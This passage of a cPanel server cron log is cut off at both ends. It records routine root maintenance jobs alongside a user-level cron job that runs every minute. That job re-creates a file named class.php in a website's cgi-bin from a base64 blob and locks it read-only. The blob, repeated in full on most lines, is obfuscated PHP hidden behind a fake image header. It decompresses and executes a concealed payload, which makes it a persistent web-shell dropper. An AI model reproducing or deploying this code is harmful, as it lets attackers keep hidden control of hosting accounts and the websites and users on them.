YKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:39:01 server CROND[9128]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 10:39:01 server CROND[9129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:40:01 server CROND[9203]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 10:40:01 server CROND[9204]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 10:40:01 server CROND[9205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:40:01 server CROND[9206]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 10:41:01 server CROND[9426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:42:01 server CROND[9494]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 10:42:01 server CROND[9496]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:43:01 server CROND[9581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:44:01 server CROND[9641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:45:01 server CROND[9718]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 10:45:01 server CROND[9719]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 10:45:01 server CROND[9720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:46:01 server CROND[9834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:47:01 server CROND[10022]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:48:01 server CROND[10102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:49:01 server CROND[10171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:50:01 server CROND[10247]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 10:50:01 server CROND[10249]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 10:50:01 server CROND[10251]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 10:50:01 server CROND[10250]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 10:50:01 server CROND[10252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:51:01 server CROND[10377]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:52:01 server CROND[10705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 